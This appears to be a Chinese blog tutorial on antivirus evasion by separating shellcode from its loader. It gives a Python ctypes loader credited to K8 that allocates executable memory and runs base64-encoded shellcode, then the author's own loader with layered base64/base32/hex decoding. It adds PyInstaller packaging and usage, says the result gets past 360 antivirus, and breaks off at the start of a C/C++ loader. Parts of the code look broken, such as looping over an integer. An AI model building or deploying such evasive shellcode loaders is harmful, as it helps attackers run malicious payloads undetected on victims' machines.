原理:使用Shellcode和加载器分离的方法,方法很low,但是值得尝试
Python
参考自K8
#scrun by k8gege
import ctypes
import sys
import base64
#calc.exe
#REJDM0Q5NzQyNEY0QkVFODVBMjcxMzVGMzFDOUIxMzMzMTc3MTc4M0M3MDQwMzlGNDlDNUU2QTM4NjgwMDk1QjU3RjM4MEJFNjYyMUY2Q0JEQkY1N0M5OUQ3N0VEMDA5NjNGMkZEM0VDNEI5REI3MUQ1MEZFNEREMTUxMTk4MUY0QUYxQTFEMDlGRjBFNjBDNkZBMEJGNUJDMjU1Q0IxOURGNTQxQjE2NUYyRjFFRTgxNDg1MjEzODg0OTI2QUEwQUVGRDRBRDE2MzFFQjY5ODA4RDU0QzFCRDkyN0FDMkEyNUVCOTM4M0E4RjVENDIzNTM4MDJFNTBFRTkzRjQyQjM0MTFFOThCQkY4MUM5MkExMzU3OTkyMEQ4MTNDNTI0REZGMDdENTA1NEY3NTFEMTJFREM3NUJBRjU3RDJGNjY1QjgxMkZDRTA0MjczQkZDNTE1MTY2NkFBN0QzMUNEM0E3RUIxRTczQzBEQTk1MUM5N0UyN0Y1OTY3QTkyMkNCRTA3NEI3NEU2RDg3NkQ4Qzg4MDQ4NDZDNkYxNEVENjkyQjkyMUQwMzI0NzcyMkIwNDU1MjQxNTdENjNFQThGMjVFQTRCNA==
shellcode=bytearray(base64.b64decode(sys.argv[1]).decode("hex"))
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Shellcode混合加密
造轮子,造轮子QAQ(K8师傅的那个已经过不了检测了)
import ctypes
import sys
import random
from argparse import ArgumentParser,FileType
import base64
#decode = sys.argv[1].decode("hex")
def Decode(QAQ,str):
for Mikasa in QAQ[::-1]:
print(Mikasa)
if Mikasa=="base64" :
str=base64.b64decode(str)
pass
if Mikasa=="base32":
str=base64.b32decode(str)
if Mikasa=="hex":
str=str.decode('hex')
return str
def start(decode):
str=bytearray()
num=len(decode)
if "Mikasa"=="Mikasa" :
for test in num:
str=str+bytearray(decode[test])
pass
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(num),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(str)).from_buffer(str)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(str)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
def main():
parser=ArgumentParser()
parser.add_argument('-d','--decode',dest="list",nargs='+',help="Decode")
parser.add_argument('-s','--secret',type=str,help="Your Secret")
args=parser.parse_args()
#print(args.list,args.secret)
True_Secret=Decode(args.list,args.secret)
start(True_Secret)
pass
if __name__ == "__main__":
main()
编译
参考文章下载环境
https://www.cnblogs.com/backlion/p/6785870.html
python PyInstaller.py --console --onefile shellcode_load.py
用法的话则是
假设你的shellcode经过 base64 hex 加密后
则为 shellcode_load.exe -d base64 hex -s xxx
结果如下
虽然VT检出率挺高的但是过360还是可以的


估计动态免杀是过不了的
参考资料
https://www.cnblogs.com/k8gege/p/11223393.html
https://www.cnblogs.com/backlion/p/6785870.html
C/C++语言实现Shellcode
加载Shellcode的代码
#include <Windows.h>
#include <stdio.h>
using namespace std;
int main(int argc,char **argv){
char ShellCode[] = "